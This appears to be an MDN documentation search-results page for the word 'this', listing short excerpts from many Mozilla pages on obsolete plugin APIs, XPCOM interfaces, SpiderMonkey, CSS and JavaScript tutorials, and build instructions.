this when creating your own menu commands, for instance to implement the edit menu commands in your own application.
...a simple way of doing
this is the following: var controller = document.commanddispatcher.getcontrollerforcommand("cmd_paste"); if (controller && controller.iscommandenabled("cmd_paste")){ controller.docommand(command); } the code above first retrieves the controller for the 'cmd_paste' command from the command dispatcher.
...And 5 more matches
tabbox - Archive of obsolete content
if
this attribute is not specified, events are listened to from the tabbox.
... thus, if
this attribute is not used, the tabbox or an element inside it must have the focus for the keyboard navigation to apply.
...if
this attribute is set to false, these keys do not navigate between tabs.
...And 5 more matches
NPP_Destroy - Archive of obsolete content
**save state or other information to save for reuse by a new instance of
this plug-in at the same url.
...the browser calls
this function when a plug-in instance is deleted, typically because the user has left the page containing the instance, closed the window, or quit the browser.
... you should delete any private instance-specific information stored in the plug-in's instance->pdata at
this time.
...And 5 more matches
NPAPI plugin reference - Archive of obsolete content
browser-side plug-in api
this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... npapi plug-in side api
this chapter describes methods in the plug-in api that are available from the plug-in object; these allow plug-ins to interact with the browser.
...
this initiates a read operation; the actual data is received through subsequent calls to npp_writeready() and npp_write().
...And 5 more matches
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
when
this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
... the downside to
this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin.
...ypluginid@myplugin.com</em:id> <em:name>my plugin</em:name> <em:version>1.0</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>4.0.*</em:maxversion> </description> </em:targetapplication> <em:unpack>true</em:unpack> </description> </rdf>
this contains 5 required pieces of information.
...And 5 more matches
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
it's recommended that you have a look at the gecko plugin api reference since
this document will include information that assumes that you are already familiar with the way that plugins are currently hosted as well as the apis.
...as an implementation note,
this is really the xid of a gtksocket window.
...more information is included on
this below.
...And 5 more matches
Theme changes in Firefox 3.5 - Archive of obsolete content
draft
this page is not complete.
...
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3.5.
...if your theme uses native checkboxes or radiobuttons (-moz-appearance: radio / checkbox),
this can result in distorted controls.
...And 5 more matches
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
« previousnext »
this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications.
... we'll build upon the stock watcher extension created in earlier articles in
this series, updating it so it can also be used in thunderbird and sunbird (previous versions worked only in firefox).
... if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in
this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download
this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...And 5 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
browser identification approach (aka "browser sniffing"): not best, not reliable approach
this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser.
... let's see a basic example of
this approach.
... // bad sample if (navigator.appversion.charat(0) == "8") { if (navigator.appname == "netscape") { isns8 = true; alert("netscape 8"); }; } else if (navigator.appversion.indexof("msie") != -1) { isie = true; alert("internet explorer"); }; while
this kind of checking in the above code can work in a crude sense, sharp readers may wonder what happens when internet explorer 8 is released or when an opera 8.x user visits the page or even when an user with any non-netscape browser starting with a "8" character in the appversion string visits that page.
...And 5 more matches
Processing XML with E4X - Archive of obsolete content
this chapter provides a practical overview of the language; it is not a complete reference.
...
this practice is no longer necessary, but remains in some legacy code.
...you can add an e4x=1 argument to your <script> tag to disable
this restriction: <script type="text/javascript;e4x=1"> ...
...And 5 more matches
Object.prototype.__noSuchMethod__ - Archive of obsolete content
obsolete since gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40)
this feature is obsolete.
... the __nosuchmethod__ property used to reference a function to be executed when a non-existent method is called on an object, but
this function is no longer available.
...
this behavior can be circumvented by defining a function at that object's __nosuchmethod__ member.
...And 5 more matches
background-size - Archive of obsolete content
i'm going to post on dev-mdc momentarily with a proposal on
this.
... but i'm not able and willing spending time for
this.
...given the fact that
this reference has serious shortcomings in many places and few contributors, i think spending much time here is not effective.
...And 5 more matches
Mozilla XForms Specials - Archive of obsolete content
introduction
this article gives an overview of where the mozilla xforms extension deviates from the official xforms 1.0 specification .
...
this covers both limitations in the extension, and custom extensions.
... limitations repeat using attributes the specifications mentions "creating repeating structures via attributes",
this is partially supported.
...And 5 more matches
Requests For Enhancement - Archive of obsolete content
introduction the purpose of
this page is to gather requests for enhancement to the mozilla xforms implementation.
... rfe categories xforms api
this section contains rfe to the xforms api.
...
this means that an author can write powerful mozilla-based applications by using xforms.
...And 5 more matches
Mozilla's DOCTYPE sniffing - Archive of obsolete content
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
...
this page describes behavior of the old html parser in firefox 3.6 and older.
...
this document describes how mozilla uses the doctype declaration to determine strict mode vs.
...And 5 more matches
Extra lives - Game development
« previousnext »
this is the 13th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson13.html.
...in
this article we'll implement a lives system, so that the player can continue playing until they have lost three lives, not just one.
...And 5 more matches
Player paddle and controls - Game development
« previousnext »
this is the 7th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson07.html.
...we need a way to introduce gameplay, so in
this article we'll create a paddle to move around and hit the ball with.
...And 5 more matches
Randomizing gameplay - Game development
« previous
this is the 16th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson16.html.
...
this means that every game is quite similar.
...And 5 more matches
Test your skills: WAI-ARIA - Learn web development
this aim of
this skill test is to assess whether you've understood our wai-aria basics article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...assuming you are not able to change the elements used, how can you allow screenreader users to recognize
this as a list?
...And 5 more matches
Accessibility - Learn web development
to help you achieve
this,
this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... get started prerequisites to get the most out of
this module, it would be a good idea to either work through at least the first two modules of the html, css, and javascript topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics.
...
this article starts off the module with a good look at what accessibility is —
this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...And 5 more matches
Test your skills: Images and Form elements - Learn web development
the aim of
this task is to help you check your understanding of some of the values and units that we looked at in the lesson on images, media and form elements.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... task one in
this task, you have an image that is overflowing the box.
...And 5 more matches
Test your skills: The Box Model - Learn web development
the aim of
this task is to help you check your understanding of the css box model.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for
this task to work in your own editor or in an online editor.
...And 5 more matches
Test your skills: backgrounds and borders - Learn web development
this aim of
this skill test is to get you working with css backgrounds and borders using the skills you have learned in the previous lesson.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... backgrounds and borders 1 in
this task we want you to add a background, border, and some simple styling to a page header: give the box a 5px black solid border, with rounded corners of 10px.
...And 5 more matches
Test your skills: Flexbox - Learn web development
the aim of
this task is to get you working with flexbox and demonstrate your understanding of how flex items behave.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for
this task to work in your own editor or in an online editor.
...And 5 more matches
Normal Flow - Learn web development
previous overview: css layout next
this article explains normal flow, or the way that webpage elements lay themselves out if you have not changed their layout.
...in addition, as normal flow is designed to make a readable document, by starting in
this way you are working with the document rather than fighting against it as you make changes to the layout.
...if you want to control the size of an inline element in
this manner, you need to set it to behave like a block level element with display: block; (or even,display: inline-block; which mixes characteristics from both.) that explains individual elements, but what about how elements interact with one another?
...And 5 more matches
Test your skills: Media Queries and Responsive Design - Learn web development
this aim of
this task is to get you working with responsive web design with a practical task.
... everything you need to know to complete
this task was covered in the guide to media queries, and the other layout lessons in
this section.
... note: due to the need to test your design in multiple screen sizes we do not have an interactive editor for
this task.
...And 5 more matches
CSS first steps - Learn web development
this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... get started prerequisites before starting
this module, you should have: basic familiarity with using computers, and using the web passively (i.e.
... guides
this module contains the following articles, which will take you through all the basic theory of css, and provide opportunities for you to test out some skills.
...And 5 more matches
create fancy boxes - Learn web development
i want to be fancy.</div>
this is something that is both very simple and very fun.
... feel free to tweak
this example to make a cloud that isn't flat at the bottom ;) */ border-radius: 100% 100% 0 0; } /* those are common style that apply to both our ::before and ::after pseudo elements.
... */ .fancy::before, .fancy::after { /*
this is required to be allowed to display the pseudo-elements, event if the value is an empty string */ content: ''; /* we positionnate our pseudo-elements on the left and right sides of the box, but always at the bottom */ position: absolute; bottom : 0; /*
this makes sure our pseudo-elements will be below the box content whatever happens.
...And 5 more matches
Learn to style HTML using CSS - Learn web development
this is because html is far more interesting and much more fun to learn when you apply css, and you can't really learn css without knowing html.
... before starting
this topic, you should also be familiar with using computers and using the web passively (i.e., just looking at it, consuming the content).
... it is recommended that you work through getting started with the web before proceeding with
this topic.
...And 5 more matches
How much does it cost to do something on the Web? - Learn web development
in
this article we discuss how much you may have to spend, and why.
...in
this article we discuss how much everything costs, and how you get what you pay (or don't pay).
...windows explorer, nautilus (a common linux file manager), and the mac finder all include
this functionality.
...And 5 more matches
Test your skills: Basic controls - Learn web development
this aim of
this skill test is to assess whether you've understood our basic native form controls article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... basic controls 1
this task starts you off nice and gently by asking you to create two <input> elements, for a user's id and password, along with a submit button.
...And 5 more matches
Test your skills: Form validation - Learn web development
this aim of
this skill test is to assess whether you've understood our client-side form validation article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... form validation 1 in
this task, we are providing you with a simple support query form, and we want you to add some validation features to it: make all of the input fields mandatory to complete before the form can be submitted.
...And 5 more matches
Test your skills: Other controls - Learn web development
this aim of
this skill test is to assess whether you've understood our other form controls article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: download the starting point for
this task to work in your own editor or in an online editor.
...And 5 more matches
Installing basic software - Learn web development
maybe that sounds obvious to some people, but some of you are reading
this article on your phone or a library computer.
...
this could be a text editor (e.g.
...office document editors are not suitable for
this use, as they rely on hidden elements that interfere with the rendering engines used by web browsers.
...And 5 more matches
Test your skills: Functions - Learn web development
this aim of
this skill test is to assess whether you've understood our functions — reusable blocks of code, build your own function, and function return values articles.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... we haven't explicitly taught
this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 5 more matches
JavaScript building blocks - Learn web development
in
this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... you've seen
this stuff already in the course, but only in passing — here we'll discuss it all explicitly.
... get started prerequisites before starting
this module, you should have some familiarity with the basics of html and css, and you should have also worked through our previous module, javascript first steps.
...And 5 more matches
Test your skills: JSON - Learn web development
this aim of
this skill test is to assess whether you've understood our working with json article.
...if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... json 1 the one and only task in
this article concerns accessing json data and using it in your page.
...And 5 more matches
Cross browser testing - Learn web development
this module focuses on testing web projects across different browsers.
... guides introduction to cross browser testing
this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at i...
...
this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
...And 5 more matches
Embedding API for Accessibility
this document lays out what we already have, and what we'll need later, in the embedding api to support accessibility.
...be aware that in debug builds,
this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to ma...
...onds to normal speed, 200 to double speed */ no allow cycling in lists and links setboolpref("keyboardnav.allow_cycling", allowcycling); no mouse pointer moves with keyboard focus setboolpref("keyboardnav.mouse_follows_keyboard_focus", mousefollows); /* if
this pref is set, the mouse pointer will always be move to the 0,0 pixel of the current keyboard focus frame */ no browse with caret setboolpref("accessibility.browsewithcaret", usecaret); /* if
this pref is set, the caret will be visible in the text of the browser, allowing the user to cursor around the html content as if in a re...
...And 5 more matches
Index
this signing process takes place through addons.mozilla.org (amo), whether you choose to distribute your add-on through amo or to do it yourself.
... 678 make money from browser extensions guide, monetization, webextensions, distribution while users can download browser extensions for firefox free of cost from addons.mozilla.org (amo),
this doesn’t mean you can’t make money from browser extensions, and to a more limited extent themes.
...
this page looks at how.
...And 5 more matches
Android-specific test suites
running android-test to run android-test, first build firefox for android with your changes; then run ./mach android test
this will run the tests and report the results to stdout, as well as produce an html report.
... running android-checkstyle to run android-checkstyle, first build firefox for android with your changes; then run ./mach android checkstyle
this will run the tests and report the results to stdout, as well as produce an html report.
... disabling one failing test in general, it's not sensible to allow java code that doesn't observe the existing coding style; in
this respect,
this job is equivalent to the eslint jobs that check the javascript coding style throughout the tree.
...And 5 more matches
Debugging Frame Reflow
enter
this line in the text file * 1
this should look like: point the gecko_display_reflow_rules_file environment variable to the path of the reflow_rules.txt file.
... on mac
this is accomplished with: $ env dyld_library_path="`pwd`/obj-ff-dbg/dist/nightlydebug.app/contents/macos" \ ./obj-ff-dbg/dist/nightlydebug.app/contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information.
...
this viewport has the address 00b97c30.
...And 5 more matches
Debugging OpenGL
this article provides suggestions for how to improve your efficiency while debugging opengl code in gecko.
...if you start up firefox with
this variable defined, the following behavior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of
this.
...
this flushes out each call, essentially turning opengl into a synchronous api.
...And 5 more matches
Simple SeaMonkey build
this will accomodate visual studio 2013 community edition, the required sdks, the mozillabuild package, the mercurial source repository and enough free disk space to compile.
... debian linux: #
this one-liner should install all necessary build deps sudo aptitude install zip mercurial libasound2-dev libcurl4-openssl-dev libnotify-dev libxt-dev libiw-dev libidl-dev mesa-common-dev autoconf2.13 yasm libgtk2.0-dev libdbus-1-dev libdbus-glib-1-dev python-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libpulse-dev ubuntu linux # for ubuntu 12.04 lts (precise pangolin), replace the following line with: sudo apt-get build-dep thunderbird sudo apt-get build-dep seamonkey sudo apt-get install zip unzip mercurial g++ make autoconf2.13 yasm li...
...(if you get a message saying
this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'.
...And 5 more matches
Simple Sunbird build
(if you get a message saying
this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'.
...
this causes problems while building.
... to avoid
this issue, change to a directory without spaces (i.e.
...And 5 more matches
Windows SDK versions
visual studio professional 2013
this comes with the windows 8.1 sdk included.
... visual studio express 2013 for windows desktop
this comes with the windows 8.1 sdk included.
... visual studio professional 2012
this comes with the windows 8.0 sdk included.
...And 5 more matches
Process scripts
this can then cause a problem the frame scripts are interacting with a global service in the content process.
... for example, in multiprocess firefox, if you need to use nsicontentpolicy to register a content policy, you must do
this in the content process.
... similarly, some observer notifications must be registered in the content process, but if you do
this in a frame script, and the frame script is loaded more than once, then you will get multiple notifications for that event.
...And 5 more matches
Firefox UI considerations for web developers
firefox's top sites box in
this article, we take a look at how to influence the appearance of your site in firefox user interface elements such as the top sites box.
...while both of these can be edited by the user, you may wish to ensure that your site provides a good icon to use in places like
this.
...
this list is created by a mozilla service called tippy top.
...And 5 more matches
PBackground
this article outlines what pbackground is, and how it works.
...
this is the foundation of how chrome and content processes talk to each other in e10s.
... for most purposes
this is great, because the dom is already bound to the main thread.
...And 5 more matches
Integrated Authentication
this document provides an overview of mozilla's support for integrated authentication.
...
this entails support for the the simple and protected gss-api negotiation mechanism (spnego) internet standard (rfc 2478) to negotiate either kerberos, ntlm, or other authentication protocols supported by the operating system.
...
this is mainly due to the fact that ntlmssp does not provide a means to negotiate use of ntlmv2/lmv2.
...And 5 more matches
DeferredTask.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use
this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards.
... with deferredtask, the task is delayed by a few milliseconds and, should a new change to the data occur during
this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes.
... the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like
this: var task = new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor.
...And 5 more matches
DownloadSummary
for downloads that do not have a known final size, the number of bytes currently transferred is reported as part of
this property.
...
this is zero if no downloads are currently in progress.
...
this is zero if no downloads are currently in progress.
...And 5 more matches
Deferred
if the associated promise has already been resolved, either to a value, a rejection, or another promise,
this method does nothing.
... note:
this function is exactly same as promise constructor's resolve argument, and can be called with any value of
this.
... note: calling
this method with a pending promise as the avalue argument, and then calling it again with another value before the promise is resolved or rejected, will have no effect the second time, as the associated promise is already resolved to the pending promise value as its resolution.
...And 5 more matches
Fonts for Mozilla 2.0's MathML engine
for the latest version see,
this page.
... quick instructions try
this test page to quickly determine whether you need to install additional fonts and to follow the instructions below.
... on windows: use
this mathml fonts installer.
...And 5 more matches
TraceMalloc
this documentation is only relevant to older versions of the codebase that still contain it.
... tracemalloc captures stack traces of all malloc, calloc , realloc, and free calls (
this currently covers all operator new and delete calls in mozilla, too).
...
this file can be post-processed by tools in mozilla/tools/trace-malloc as follows: histogram.pl, which produces a type histogram that can be diffed with histogram-diff.sh to produce output that looks like
this: ---- base ---- ---- incr ---- ----- difference ---- type count bytes count bytes count bytes %total total 48942 4754774 76136 656645...
...And 5 more matches
Localization Use Cases
this article documents a few opportunities to improve the localization of gaia (the ui layer of firefox os) by using l20n.
...needless to say,
this ends up being long and often unnaturally-sounding to the native speakers.
... about-browser=o brskalniku {{browserbrandshortname}} solution in l20n,
this problem can be easily solved by defining multiple variants of the browserbrandshortname entity, to match different grammatical cases of the noun.
...And 5 more matches
McCoy
mccoy uses xulrunner which is bound to break, for details see
this post.
...we hope to resolve
this for the next release - or around the year 2100.
...
this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost!
...And 5 more matches
NSS 3.12.6 release notes
this setting was the default prior 3.12.5 and makes products vulnerable.
...
this is the safe renegotiation.
...
this value should only be used during the transition period when few servers have been upgraded.
...And 5 more matches
Utilities for nss samples
util.h /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...*/ typedef struct { enum { pw_none = 0, /* no password */ pw_fromfile = 1, /* password stored in a file */ pw_plaintext = 2 /* plain-text password passed in buffer */ /* pw_external = 3 */ } source; char *data; /* depending on source
this can be the actual * password or the file to read it from */ } secupwdata; /* * printasascii */ extern void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len); /* * printashex */ extern void printashex(prfiledesc* out, const unsigned char *data, unsigned int len); /* * getdigit */ extern int getdigit(char c); /* * hextobuf */ extern int hextobuf(unsign...
...And 5 more matches
ssltyp.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference selected ssl types and structures chapter 3 selected ssl types and structures
this chapter describes some of the most important types and structures used with the functions described in the rest of
this document, and how to manage the memory used for them.
...And 5 more matches
Rhino Debugger
note that
this debugger will not work with javascript scripts run in the mozilla browser since rhino is not the engine used in such environments.
...
this action will display a file-selection dialog box prompting you for the location of a script to load.
...
this action will display a file-selection dialog box prompting you for the location of a script to execute.
...And 5 more matches
Statistics API
there are several ways to get access to
this data: the environment variable moz_gctimer controls text dumping of gc stats.
... total_time: number (milliseconds) - the amount of wall time that
this gc consumed.
... note:
this is the sum of all the slice durations, not end time - start time.
...And 5 more matches
JS::Remove*Root
obsolete since jsapi 38
this feature is obsolete.
...
this article covers features introduced in spidermonkey 31 unregister a pointer to a gc thing so that it is no longer a member of the garbage collector's root set.
...
this enables any pointed-at gc thing to be garbage collected as needed.
...And 5 more matches
JSAutoByteString
this article covers features introduced in spidermonkey 17 take ownership of a string and free it later.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this may fail if str is not linear.
...And 5 more matches
JSDeletePropertyOp
this article covers features introduced in spidermonkey 24 the type of the jsclass.delproperty.
...in js_threadsafe builds, the javascript engine calls
this callback only from within an active request on cx.
...
this is either a string (unicode property identifier) or an integer (element index).
...And 5 more matches
JSExtendedClass
obsolete since javascript 1.8.5
this feature is obsolete.
...}; name type description base jsclass the basic class information and callbacks for
this class.
...
this contains some required fields.
...And 5 more matches
JS_NewGlobalObject
this article covers features introduced in spidermonkey 17 create a new javascript object for use as a global object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...the usual way to do
this is to make jsclasses global or static.
...And 5 more matches
SpiderMonkey 1.8
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...
this includes iterators and generators (bug 349263) and arrays (bug 417501).
...
this bug will be fixed in 1.8.1.
...And 5 more matches
Gecko events
« at apis support page
this page offers a list of accessibility-related events supported by gecko.
... is supported: yes event_asynch_show a hidden object is shown --
this is a layout occurance and is thus asynchronous is supported: yes event_asynch_hide an object is hidden --
this is a layout occurance and is thus asynchronous is supported: yes event_asynch_significant_change an object had a significant layout change which could affect the type of accessible object --
this is a layout occurance and is thus asynchronous is supported: yes event_active_decendent...
...server applications send
this event when a user needs to know that a user interface element has changed.
...And 5 more matches
Bundling multiple binary components
this can create a difficult situation for extension developers trying to support multiple gecko versions (firefox 2 and 3, for example).
... possible solutions
this article covers two possible ways to make binary components support multiple version of gecko: dynamic method loading stub loader dynamic method loading the idea with
this approach is to figure out all the methods imported from gecko and dynamically load the methods.
...
this means using something like loadlibrary / getprocaddress / freelibrary on windows.
...And 5 more matches
Components.utils.importGlobalProperties
using
this api you can import these objects into such a system scope.
...
this function is not intended for sandboxes but for system-privileged scopes.
...
this function is passed an array of strings.
...And 5 more matches
NS_NewNativeLocalFile
this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem.
...
this path does not need to reference an existing file.
... afollowlinks [in]
this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links.
...And 5 more matches
IAccessibleComponent
other-licenses/ia2/accessiblecomponent.idlnot scriptable
this interface is implemented by any object that can be rendered on the screen.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3)
this interface provides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object.
... coordinates used by the functions of
this interface are specified in different coordinate systems.
...And 5 more matches
IAccessibleHypertext
other-licenses/ia2/accessiblehypertext.idlnot scriptable
this interface exposes information about hypertext in a document.
...a typical implementation is to implement
this interface on the smallest text object such as a paragraph of text.
...[propget] hresult hyperlink( [in] long index, [out] iaccessiblehyperlink hyperlink ); parameters index
this 0 based index specifies the hyperlink to return.
...And 5 more matches
mozIStorageStatementWrapper
firefox 3.5 note firefox 3.5 adds support for these features directly into the mozistoragestatement interface, so
this interface is essentially deprecated.
... storage/public/mozistoragestatementwrapper.idlscriptable please add a summary to
this article.
...the value of
this is only valid while the statement is still executing, and is still on the appropriate row.
...And 5 more matches
nsIAccessibleHyperLink
.9 (firefox 3) method overview nsiaccessible getanchor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type description anchorcount long the number of anchors within
this hyperlink.
...
this anchor is, for example, the visible output of the html:a tag.
...the returned value is related to the nsiaccessiblehyperlink interface of the object that owns
this hyperlink.
...And 5 more matches
nsIAccessibleTableCell
accessible/public/nsiaccessibletable.idlscriptable please add a summary to
this article.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview boolean isselected(); attributes attribute type description columnextent long return the number of columns occupied by
this cell.
... columnheadercells nsiarray return an array of column header cells for
this cell.
...And 5 more matches
nsIAccessibleText
accessible/public/nsiaccessibletext.idlscriptable please add a summary to
this article.
... boundary_line_start 5 boundary_line_end 6 boundary_attribute_range 7 coordinate type constants obsolete since gecko 1.9 (firefox 3)
this feature is obsolete.
...
this accessible get return the dom node and layout frame with the uniform attributes for
this range of text.
...And 5 more matches
nsIDNSService
this is done by disabling ipv6 on backup connections.
... constant value description resolve_bypass_cache (1 << 0)
this flag suppresses the internal dns lookup cache.
... resolve_disable_ipv6 (1 << 5) if
this flag is set, only ipv4 addresses will be returned by asyncresolve() and resolve().
...And 5 more matches
nsIDOMOfflineResourceList
dom/interfaces/offline/nsidomofflineresourcelist.idlscriptable please add a summary to
this article.
... onupdateready nsidomeventlistener an event listener to be called when a resource update is ready;
this event is not currently used since versioned application caches aren't supported yet.
... note:
this method has been deprecated.
...And 5 more matches
nsIEditor
the dom document
this editor is associated with.
... flags unsigned long edit flags for
this editor.
...
this helps to support cases where only parts of the document are editable, by letting you see if the current selection is in an editable section.
...And 5 more matches
nsIExternalProtocolService
specifically,
this looks to see whether there are any known possible application handlers in either the nsihandlerservice datastore or registered with the os.
... return value
this code makes little sense and needs to be cleaned up.
...if neither the application nor the os knows about a handler for the protocol, the object
this method returns will represent a default handler for unknown content.
...And 5 more matches
nsIFactory
xpcom/components/nsifactory.idlscriptable
this interface is a class factory that allows for the creation of nsisupports derived classes without specifying a concrete class type.
... inherits from: nsisupports last changed in gecko 0.9.5 method overview void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with
this factory.
... unlike getservice,
this returns a new instance each time it is called.
...And 5 more matches
nsILoginInfo
toolkit/components/passwordmgr/public/nsilogininfo.idlscriptable please add a summary to
this article.
...for logins obtained from html forms,
this field is the action attribute from the form element, with the path removed (for example, "https://www.site.com").
...
this field is null for logins attained from protocol authentications and "" means to match against any form action.
...And 5 more matches
nsIMessageWakeupService
content/base/public/nsimessagewakeupservice.idlscriptable implements the message manager wakeup service;
this lets other components be woken up when specific message manager messages arrive.
... by using
this service, you can avoid starting those components until they're needed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note:
this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13).
...And 5 more matches
nsIModule
xpcom/components/nsimodule.idlscriptable
this interface must be implemented by each xpcom component.
... void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload()
this method may be queried to determine whether or not the component module can be unloaded by xpcom.
...if the component module is native (that is, as part of a dll), then
this method may be called to determine whether or not the dll may be unloaded from memory.
...And 5 more matches
nsINavHistoryResult
you can use nsinavhistoryresulttreeviewer as the viewer;
this provides a prepackaged interaction with a nsitreeboxobject.
...the viewer provides notifications to the controller when view events occur;
this is done using the nsinavhistoryresultviewobserver interface.
...
this container gives you access to all the results in the tree.
...And 5 more matches
nsIObserver
xpcom/ds/nsiobserver.idlscriptable
this interface is implemented by an object that wishes to observe notifications.
... inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe()
this method will be called when there is a notification for the topic that the observer has been registered for.
... you should not modify, add, remove, or enumerate notifications in the implementation of
this method.
...And 5 more matches
nsIPlacesImportExportService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past,
this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascript code module.
... importhtmlfromfile() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note:
this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.
... aisinitialimport whether
this is an initial import or not.
...And 5 more matches
nsIPrintingPrompt
embedding/browser/webbrowser/nsiprintingprompt.idlscriptable
this is the printing prompt interface which can be used without knowlege of a parent window.
... inherits from: nsisupports last changed in gecko 1.7
this interface is identical to nsipintingpromptservice but without the parent nsidomwindow parameter.
...
this service enables embedders to implement their own print and progress dialogs.
...And 5 more matches
nsIProcessScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports
this interface is used by parent process message managers to load scripts into a child process.
... if
this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes.
... if
